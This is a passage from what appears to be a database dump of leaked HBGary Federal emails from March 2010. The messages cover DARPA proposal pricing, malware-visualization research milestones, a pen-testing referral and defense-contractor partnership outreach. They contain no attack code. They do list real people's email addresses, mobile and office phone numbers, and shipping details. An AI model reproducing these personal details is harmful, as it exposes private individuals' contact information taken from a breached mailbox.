looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n        \r\n        \r\n      \r\n      \r\n      \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n',14964,'aaron_hbgary_com/14964.html'),(4577,'2010-03-26','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297002690.M481024P3547Q4578.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,','Re: Voicemail re:services engagement','Rich,Wow! &nbsp;I hope the 250 hour effort was successful.I look forward to talking to Penny and Aaron re this new opportunity.From our side, Ira Entis is going to be the focal point at LANL is in his Sector\'s AOR.I\'ve cc\'d Ira on this response.JohnOn Mar 26, 2010, at 11:07 AM, Rich Cummings wrote:Hi John,&nbsp;Thanks for the voicemail yesterday and I hope you’re doing well.&nbsp; Sorry for the delayed response as I just returned from an intrusion investigation where an HBGary engineer and I booked over 250 hours of work in 9 days.&nbsp; I’m trying to play catch up now for the last 10 days.&nbsp; &nbsp;I’m CC’ing Penny and Aaron Barr as HBGary Federal might be interested in pursuing the pen-test opportunity with you.&nbsp;&nbsp;Best,Rich &nbsp;',7881,'aaron_hbgary_com/7881.html'),(4578,'2010-03-26','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297002690.M98794P3547Q4576.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','John Edwards from Agilex has a pen-testing services gig','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn Edwards left me a message saying he has a pen-testing\r\nengagement he would like us to help with. \r\n\r\n \r\n\r\nPlease reach out to him if you’re interested.  I will\r\ncc you on my email response to him.\r\n\r\n \r\n\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4907,'aaron_hbgary_com/4907.html'),(4579,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002692.M503076P3547Q4579.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Revised TA3 Secure Decisions RFP','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Anita D\'Amico\" \r\n> Date: March 24, 2010 1:01:49 PM EDT\r\n> To: \"Aaron Barr\" \r\n> Cc: \"Ebbe Reker\" , \"Ted Vera\" , \"Kenny Prole\" \r\n> Subject: Revised TA3 Secure Decisions RFP\r\n> \r\n> Aaron,\r\n>  \r\n> Per our discussion today, we revised the HBGary list of milestones, travel and subtask schedule so that all tasks and travel are in Phases 1a and 1b.  Attached is a revised RFP with tracked  changes. I filled in the revision record as well. The new milestone dates, travel  and subtasks appear below.\r\n> This is what we will cost to, with a cost bogey of $900K.\r\n>  \r\n> **Please confirm that you concur. We will start costing after we receive your confirmation.\r\n>  \r\n> Best regards,\r\n>  \r\n> Anita\r\n>  \r\n> Table 1: Milestone Schedule (All dates are tentative)\r\n> \r\n> Milestone\r\n> Planned Date\r\n> Deliver research paper on visualization for analysis of malware behavior and functions.\r\n> Month 6\r\n> Deliver research paper on visualization architecture and proof of concept for malware functions and behaviors.\r\n> Month 8\r\n> Deliver prototype capability for the visualization of malware functionality and behaviors\r\n> Month 15\r\n> Deliver enhanced prototype with fully functional capability to visualize malware functionality and behaviors.\r\n> Month 24\r\n> Deliver a research paper on the visualization of aggregate malware functionality and behaviors, including the ability to identify and classify malware based on its visual cues.\r\n> Month 21\r\n> Deliver research paper on visualization architecture and proof of concept of malware aggregate functionality and behaviors.\r\n> Month 23\r\n>  \r\n> \r\n>  \r\n> \r\n>  \r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, March 24, 2010 10:56 AM\r\n> To: Kenny Prole\r\n> Cc: Ebbe Reker; Frank Zinghini; Anita D\'Amico; Ted Vera\r\n> Subject: Re: TA3 Secure Decisions RFP Clarification\r\n> Importance: High\r\n>  \r\n> Hi Ken,\r\n>  \r\n> That was on purpose in discussions with Anita to reign in costs.  The aim will be that we are part of the last teams standing and their will be additional funds in the out years to support further development.\r\n>  \r\n> When can I expect to see updated costs for the plan?  Are you on track to ship the sealed packages today or tomorrow?\r\n>  \r\n> Aaron\r\n> On Mar 24, 2010, at 8:59 AM, Kenny Prole wrote:\r\n> \r\n> \r\n> Aaron,\r\n>  \r\n> In reviewing the RFP/SOW you sent (also attached), I noticed there’s a gap from month 30-35 and no description for months 36-48. Was that your intent?\r\n>  \r\n> Please review the current and proposed tasks below if indeed it was just oversight.\r\n>  \r\n> Current:\r\n> Date\r\n> Effort\r\n> Months 1-6\r\n> Define visualization requirements for the analysis of malware functionality and behaviors.\r\n> Months 7-8\r\n> Describe and document an architecture that visualizes malware functionality and behaviors\r\n> Months 9-15\r\n> Develop visualization prototypes to assist in the analysis of malware functionality and behaviors.\r\n> Months 15-24\r\n> Integrate and demonstrate progressively more complete visualization prototypes\r\n> Months 25-27\r\n> Define requirements for the visualization of aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues.\r\n> Months 28-29\r\n> Describe and document an architecture that visualizes aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues.\r\n> Months 36-48\r\n>  \r\n>  \r\n> Proposed:\r\n> Date\r\n> Effort\r\n> Months 1-6\r\n> Define visualization requirements for the analysis of malware functionality and behaviors.\r\n> Months 7-8\r\n> Describe and document an architecture that visualizes malware functionality and behaviors\r\n> Months 9-15\r\n> Develop visualization prototypes to assist in the analysis of malware functionality and behaviors.\r\n> Months 15-24\r\n> Integrate and demonstrate progressively more complete visualization prototypes\r\n> Months 25-27\r\n> Define requirements for the visualization of aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues).\r\n> Months 28-29\r\n> Describe and document an architecture that visualizes aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues).\r\n> Months 30-36\r\n> Develop visualization prototype to assist in the analysis of aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues).\r\n> Months 36-48\r\n> Integrate and demonstrate progressively more complete visualization prototypes\r\n>  \r\n> We’ll need this confirmation to finalize our costing.\r\n>  \r\n> Thanks!\r\n>  \r\n> ---------------------------------------------------------------------\r\n> Ken Prole ~ Project Engineer\r\n> Applied Visions, Inc., Secure Decisions Division\r\n> 631.759.3907 ~ securedecisions.avi.com\r\n> ----------------------------------------------------------------------\r\n> \r\n> \r\n> \r\n>  \r\n> \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7262,'aaron_hbgary_com/7262.html'),(4580,'2010-03-26','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297002692.M794851P3547Q4580.eml','\"Aaron Barr\" <aaron@hbgary.com>','Do you have 5 minutes today for quick call so I can update you on status of our San Antonio thrust?  If so, good time & number?','\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n',5800,'aaron_hbgary_com/5800.html'),(4581,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002693.M251329P3547Q4582.eml','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','Re: Added Comment','Yes.On Mar 26, 2010, at 11:06 AM, Kathryn Tracy wrote:\r\n\r\nMorning Aaron,\r\n\r\nI want to be sure I understand the pricing structure.&nbsp; The original\r\nsubmittal listed all out years as options.\r\nI assume I\'m giving you the same kind of breakdown, only with the lower\r\nbudgets.&nbsp; That is what you\r\nare expecting, correct?\r\n\r\nBest,\r\nkat\r\n\r\nOn 3/25/2010 7:15 PM, Aaron Barr wrote:\r\nI stand corrected.\r\n  \r\n  \r\n  Aaron\r\n  \r\n  Begin forwarded message:\r\n  \r\n  \r\n    From:\r\n    Ted Vera &lt;ted@hbgary.com&gt;\r\n    \r\n    Date:\r\n    March 25, 2010\r\n10:14:49 PM EDT\r\n    \r\n    To:\r\n    Aaron Barr &lt;aaron@hbgary.com&gt;\r\n    \r\n    Subject:\r\n    Re: Added\r\nComment\r\n    \r\n    \r\n    \r\n    If it is a priced option we should include it. Just label it\r\nas an option.\r\n    \r\n    \r\n    \r\n    \r\n    \r\nOn Mar 25, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n    \r\n    \r\n    \r\n      So as not to confuse DARPA please only include the first 2\r\nyears in your sealed packages. &nbsp;I will discuss the priced options\r\nsomewhere the proposal but don\'t want to include the costing for those.\r\n      \r\n      \r\n      Aaron\r\n      \r\n      On Mar 25, 2010, at 9:46 PM, Kathryn Tracy wrote:\r\n      \r\n      \r\n        Hi Aaron,\r\n        \r\nThe bottom line numbers are as follows:\r\n        \r\nyr 1 $499,997\r\nyr2 $499,925\r\nyr3 $543,018\r\nyr4 $557,007\r\nTotal $2,099,947\r\n        \r\nI will follow up with the spreadsheet early tomorrow.\r\nthanks,\r\nkat\r\nOn 3/25/2010 2:44 PM, Aaron Barr wrote:\r\n        \r\n          As you can when looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n        \r\n        \r\n      \r\n      \r\n      \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4311,'aaron_hbgary_com/4311.html'),(4582,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002693.M455728P3547Q4583.eml','\"Mankin, Mark\" <mark.mankin@fidelissecurity.com>','Re: NRL & DARPA','Thanks Mark I will. &nbsp;Coming down to the wire for Cyber Genome...the date for NRL has been pushed out until May I believe so we have more time...and for that one I want to tell a very strong story between HBGary and Fidelis.AaronOn Mar 26, 2010, at 11:04 AM, Mankin, Mark wrote:\r\n\r\nAaron -\r\n&nbsp;\r\nYou have the integration piece from David so let me know if there is anything else you may need by 3-29.\r\n&nbsp;\r\n&nbsp;\r\nV/rMark\r\n\r\n\r\nFrom: Mankin, MarkSent: Thu 3/11/2010 10:11 AMTo: Aaron BarrSubject: RE: NRL &amp; DARPA\r\n\r\n\r\nHi Aaron -\r\n&nbsp;\r\nI talked to David and we will have something to you in the next day or two.&nbsp;\r\n&nbsp;\r\nThe only times I can\'t meet next week are Mon (9 - 11 am) and Tues (9 - 1 pm).&nbsp;&nbsp; Anytimes outside of that I\'m open as of today.\r\n&nbsp;\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Mankin, MarkSent: Thu 3/11/2010 8:29 AMTo: Aaron BarrSubject: RE: NRL &amp; DARPA\r\n\r\n\r\nHi Aaron -\r\n&nbsp;\r\nJust wanted to see if there is anything you needed to help with NRL or DARPA.&nbsp;&nbsp; I know your swamped but let me know if you need any help.\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Tue 3/2/2010 8:42 AMTo: Mankin, MarkSubject: Re: NRL &amp; DARPA\r\nHey Mark, \r\n\r\nThanks. &nbsp;Not at the moment. &nbsp;I have a good amount of literature that will help at the moment and a good understanding of the integration potential.\r\n\r\nHere is status. &nbsp;We are writing statements of work today for the DARPA effort. &nbsp;I am slammed with it right now. &nbsp;This week I am focusing on getting most of the DARPA content done, since it is a full proposal effort. &nbsp;Next week most of the technical material should be written so I can focus on pulling some of that content out and writing the whitepaper for NRL. &nbsp;Its a lot... divide and conquer. &nbsp;If you see Van Putte tell him a few extra weeks would have been nice... ;)\r\n\r\nAs I get the SOW written I will have a better idea what I might need.\r\n\r\nAaron\r\n\r\n\r\nOn Mar 2, 2010, at 8:32 AM, Mankin, Mark wrote:\r\n\r\n\r\n\r\nAaron -\r\n&nbsp;\r\nI will be at DARPA today.&nbsp;&nbsp; Is there any action items that you and David discussed&nbsp;between Fidelis &amp; HB Gary on these efforts?\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Mankin, MarkSent: Fri 2/26/2010 7:07 AMTo: aaron@hbgary.comSubject: NRL &amp; DARPA\r\n\r\nAaron -\r\n&nbsp;\r\nIt was a pleasure meeting you, yesterday.&nbsp;&nbsp;&nbsp; Let me know if you want to get together next week to discuss the NRL and DARPA RFP\'s you mentioned.\r\n&nbsp;\r\nHave a great weekend!\r\n&nbsp;\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1886,'aaron_hbgary_com/1886.html'),(4583,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002693.M46627P3547Q4581.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: Do you have 5 minutes today for quick call so I can update you on status of our San Antonio thrust?  If so, good time & number?','Hi Bob,\r\n\r\nCan u call me at 12pm?  I am on a conference call until then.\r\n\r\nAaron\r\n\r\nOn Mar 26, 2010, at 11:32 AM, Shows, Bob (IS) wrote:\r\n\r\n> \r\n> \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549 \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7277,'aaron_hbgary_com/7277.html'),(4584,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002693.M664679P3547Q4584.eml','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','Re: Added Comment','Kat,When you ship can you please ship Fedex and don\'t require a signature. &nbsp;I want to make sure if for some reason I am not at the door to pick it up tomorrow that they leave the package on my door.Thanks,AaronOn Mar 26, 2010, at 11:06 AM, Kathryn Tracy wrote:\r\n\r\nMorning Aaron,\r\n\r\nI want to be sure I understand the pricing structure.&nbsp; The original\r\nsubmittal listed all out years as options.\r\nI assume I\'m giving you the same kind of breakdown, only with the lower\r\nbudgets.&nbsp; That is what you\r\nare expecting, correct?\r\n\r\nBest,\r\nkat\r\n\r\nOn 3/25/2010 7:15 PM, Aaron Barr wrote:\r\nI stand corrected.\r\n  \r\n  \r\n  Aaron\r\n  \r\n  Begin forwarded message:\r\n  \r\n  \r\n    From:\r\n    Ted Vera &lt;ted@hbgary.com&gt;\r\n    \r\n    Date:\r\n    March 25, 2010\r\n10:14:49 PM EDT\r\n    \r\n    To:\r\n    Aaron Barr &lt;aaron@hbgary.com&gt;\r\n    \r\n    Subject:\r\n    Re: Added\r\nComment\r\n    \r\n    \r\n    \r\n    If it is a priced option we should include it. Just label it\r\nas an option.\r\n    \r\n    \r\n    \r\n    \r\n    \r\nOn Mar 25, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n    \r\n    \r\n    \r\n      So as not to confuse DARPA please only include the first 2\r\nyears in your sealed packages. &nbsp;I will discuss the priced options\r\nsomewhere the proposal but don\'t want to include the costing for those.\r\n      \r\n      \r\n      Aaron\r\n      \r\n      On Mar 25, 2010, at 9:46 PM, Kathryn Tracy wrote:\r\n      \r\n      \r\n        Hi Aaron,\r\n        \r\nThe bottom line numbers are as follows:\r\n        \r\nyr 1 $499,997\r\nyr2 $499,925\r\nyr3 $543,018\r\nyr4 $557,007\r\nTotal $2,099,947\r\n        \r\nI will follow up with the spreadsheet early tomorrow.\r\nthanks,\r\nkat\r\nOn 3/25/2010 2:44 PM, Aaron Barr wrote:\r\n        \r\n          As you can when looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n        \r\n        \r\n      \r\n      \r\n      \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5466,'aaron_hbgary_com/5466.html'),(4585,'2010-03-26','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','/aaron@hbgary.com/new/1297002693.M869352P3547Q4585.eml','\"Lori Truitt\" <lori.truitt@sri.com>,\"Lori Truitt\" <lori.truitt@sri.com>','Re: Added Comment','\r\n\r\n\r\n  \r\n\r\n\r\nHi Lori,\r\n\r\nFor our Saturday delivery to VA tomorrow, could you please take into\r\nconsideration Aaron\'s request\r\nbelow.&nbsp; \r\n\r\nThanks,\r\nkat\r\n\r\nOn 3/26/2010 8:49 AM, Aaron Barr wrote:\r\nKat,\r\n  \r\n  \r\n  When you ship can you please ship Fedex and don\'t require a\r\nsignature. &nbsp;I want to make sure if for some reason I am not at the door\r\nto pick it up tomorrow that they leave the package on my door.\r\n  \r\n  \r\n  Thanks,\r\n  Aaron\r\n  \r\n  \r\n  On Mar 26, 2010, at 11:06 AM, Kathryn Tracy wrote:\r\n  \r\n  \r\n    Morning Aaron,\r\n    \r\nI want to be sure I understand the pricing structure.&nbsp; The original\r\nsubmittal listed all out years as options.\r\nI assume I\'m giving you the same kind of breakdown, only with the lower\r\nbudgets.&nbsp; That is what you\r\nare expecting, correct?\r\n    \r\nBest,\r\nkat\r\n    \r\nOn 3/25/2010 7:15 PM, Aaron Barr wrote:\r\n    I\r\nstand corrected.\r\n      \r\n      \r\n      Aaron\r\n      \r\n      Begin forwarded message:\r\n      \r\n      \r\n        From:\r\n\r\n        Ted Vera &lt;ted@hbgary.com&gt;\r\n        \r\n        Date:\r\n\r\n        March 25, 2010\r\n10:14:49 PM EDT\r\n        \r\n        To:\r\n\r\n        Aaron Barr &lt;aaron@hbgary.com&gt;\r\n        \r\n        Subject:\r\n\r\n        Re: Added\r\nComment\r\n        \r\n        \r\n        \r\n        If it is a priced option we should include it. Just label\r\nit\r\nas an option.\r\n        \r\n        \r\n        \r\n        \r\n        \r\nOn Mar 25, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n        \r\n        \r\n        \r\n          So as not to confuse DARPA please only include the first\r\n2\r\nyears in your sealed packages. &nbsp;I will discuss the priced options\r\nsomewhere the proposal but don\'t want to include the costing for those.\r\n          \r\n          \r\n          Aaron\r\n          \r\n          On Mar 25, 2010, at 9:46 PM, Kathryn Tracy wrote:\r\n          \r\n          \r\n            Hi Aaron,\r\n            \r\nThe bottom line numbers are as follows:\r\n            \r\nyr 1 $499,997\r\nyr2 $499,925\r\nyr3 $543,018\r\nyr4 $557,007\r\nTotal $2,099,947\r\n            \r\nI will follow up with the spreadsheet early tomorrow.\r\nthanks,\r\nkat\r\nOn 3/25/2010 2:44 PM, Aaron Barr wrote:\r\n            \r\n              As you can when looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n            \r\n            \r\n          \r\n          \r\n          \r\n          \r\n          Aaron Barr\r\n          CEO\r\n          HBGary Federal Inc.\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n        \r\n        \r\n      \r\n      \r\n      \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n',1644,'aaron_hbgary_com/1644.html'),(4586,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002694.M69084P3547Q4586.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: Do you have 5 minutes today for quick call so I can update you on status of our San Antonio thrust?  If so, good time & number?','Bob,\r\n\r\nI am doing proposal now, so try me when you get a chance.\r\n719.510.8478\r\n\r\n\r\nOn Mar 26, 2010, at 11:32 AM, Shows, Bob (IS) wrote:\r\n\r\n> \r\n> \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549 \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13808,'aaron_hbgary_com/13808.html'),(4587,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002696.M111666P3547Q4587.eml','\"Aaron Barr\" <aaron@hbgary.com>','Master SOW','Attached.\r\n\r\n',761,'aaron_hbgary_com/761.html'),(4588,'2010-03-26','\"Spiller, John F.\" <John.Spiller@gd-ais.com>','/aaron@hbgary.com/new/1297002696.M344661P3547Q4588.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,','New proposal','\r\n\r\n\r\n\r\n\r\nNew proposal\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWe have a new restricted effort that we are thing of going after and would like to include you and Ted in this effort. Rich Moore will be contacting you to complete paper work for access. It would require work to be performed in our SCIF, I think Bill has given you or Ted a heads up and the proposal would be due 11 May. Let us know if you want to take the plunge.\r\n\r\naaron@hbgary.com\r\n\r\nted@hbgary.com\r\n\r\nAaron&#8217; contact data:\r\n\r\n301 652 8885 x117 ph\r\n\r\n719 510 8478 mobile\r\n\r\nJohn Spiller PMP\r\nSr. Program Manager\r\nGENERAL DYNAMICS\r\nAdvanced Information Systems\r\n\': 650 966 2800 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',5902,'aaron_hbgary_com/5902.html'),(4589,'2010-03-26','TrackingUpdates@fedex.com','/aaron@hbgary.com/new/1297002696.M554657P3547Q4589.eml','aaron@hbgary.com','FedEx Shipment Notification','________________________________________________________________________________ This tracking update has been requested by:  Company Name:SRI InternationalName:Lori TruittE-mail:lori.truitt@sri.com________________________________________________________________________________    Lori Truitt of SRI International sent Aaron Barr 1 FedEx Priority\r\nOvernight package(s).  This shipment is scheduled to be sent on 03/26/2010.  Reference information includes:Reference:W81L7T  1.474Special handling/Services:Residential DeliveryFor Saturday DeliveryStatus:Shipment information sent to FedEx Tracking number:793391614366   To track the latest status of your shipment, click on the tracking number above,or visit us at fedex.com. Learn more about new ways to track with FedEx. This tracking update has been sent to you by FedEx on the behalf of theRequestor noted above. FedEx does not validate the authenticity of therequestor and does not validate, guarantee or warrant the authenticity of therequest, the requestor\'s message, or the accuracy of this tracking update. Fortracking results and fedex.com\'s terms of use, go to fedex.com. Thank you for your business. ',7329,'aaron_hbgary_com/7329.html'),(4590,'2010-03-26','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297002697.M906899P3547Q4590.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Cyber Security Alliance Matrix','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI had not seen this while we were talking a few minutes ago.  I see\r\nPalantir on the list.  Please take a look at this and let me know if HB Gary\r\nand others on your ‘Team of 5’ would be candidates for such an Alliance.  \r\n\r\n&nbsp;\r\n\r\nIn my response to Ron, I will address our San Antonio approach, so\r\na reminder on who is doing what in your Team of 5 in that thrust would be most\r\nappreciated. \r\n\r\n&nbsp;\r\n\r\nCheers, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Foudray, Ron (IS) \r\nSent: Friday, March 26, 2010 11:08 AM\r\nTo: Godwin, Gib (IS); Chiaravalle, Susan (IS); Lefebvre, Michael (IS);\r\nSlaight, Matt (IS); Jackson, Sheila A (IS); Burns, Destiny R (IS); Strei,\r\nThomas J (IS); Iyer, Srini (IS); Richardson, Harry F (IS); Johnson, Chris (IS);\r\nNorthrup, Jim (IS); Shows, Bob (IS); Holderness, Chuck (IS)\r\nCc: DeAngelis, Dario (IS); Hobart, Bob (IS); Mullen, Sean\r\nSubject: Fw: Cyber Security Alliance Matrix\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTeam:\r\n\r\nThoughts appreciated.\r\n\r\nThanks,\r\nRon\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lee, James (IS) \r\nTo: Foudray, Ron (IS); Yu, Jeffrey C (IS); Greene, Brent (IS) \r\nCc: Draffin, Cyril W (IS); Miller, Diane (CSL); Korin, Jon (IS);\r\nStarkey, Billy (IS); Graham, Christine T (IS); Jost, Lisa S (IS); Godwin, Gib\r\n(IS); Cooperman, Steven E (IS); Long, John F (CSLS); Strang, Larry (IS) \r\nSent: Fri Mar 26 10:42:41 2010\r\nSubject: Cyber Security Alliance Matrix \r\n\r\n\r\n\r\nAs a follow-on to our 3/8 Cyber Alliances meeting,\r\n&nbsp;attached please find a cyber security “priority ranking\r\nmatrix”.&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\nRon/Jeff/Brent:&nbsp; For your respective division (one\r\ncolumn for each division), please choose “high, med, or low” as a cyber\r\nsecurity priority for each company listed. &nbsp;&nbsp;If priority is “high”\r\nplease also describe the division capability or offering area to which the\r\ncompany is aligned in the adjacent column.&nbsp; Please also ADD organizations\r\nto the list if you believe they are high priority to your business but for some\r\nreason (quite possible) are not included here.\r\n\r\n&nbsp;\r\n\r\nTo assist, we’ve included summary information for each\r\ncompany as to 1.) IRAD Investments, 2.) Joint Pursuits and 3.) Identified Gaps\r\nas well as the websites and other ancillary info for each\r\norganization.&nbsp;&nbsp; The second tab shows all organizations which have\r\nbriefed or are scheduled to brief at the security brown bag sessions.&nbsp;&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nThe objective is to arrive at a “short list” of companies,\r\ncommon across the three divisions, &nbsp;which can enable and bring\r\ndifferentiation to our cyber capabilities. &nbsp;&nbsp;We will then meet to\r\ndiscuss the list and begin establishing sector relationships and strategies with\r\nthese organizations.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPlease take an initial cut at this try to return NLT COB 4/8\r\nso we can keep the process moving forward and insure each division’s interests\r\nare represented. \r\n\r\n&nbsp;\r\n\r\n-Jim\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJim Lee\r\n\r\nDirector, Portfolio &amp; Partnerships\r\n\r\nNorthrop Grumman Information Systems\r\n\r\n7575 Colshire Drive\r\n\r\nMcLean, VA 22102\r\n\r\nO: (703)556-1307\r\n\r\nC: (703)635-0394\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',756,'aaron_hbgary_com/756.html'),(4591,'2010-03-26','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297002698.M527980P3547Q4591.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: ASPJ Spring 2010--View as HTML','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nAIR AND SPACE POWER JOURNAL &#8211; Spring 2009\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nEnjoyed the chat this morning&#8212;I&#8217;m very\r\npleased to learn of the &#8216;incident response&#8217; work that you are performing;\r\nclearly challenging &amp; rewarding.&nbsp; \r\n\r\nIn the ASPJ link below, &nbsp;Maj Trias (PhD) and Capt\r\nBell have a useful &#8216;context&#8217;/domain article in the that you may\r\nfind of 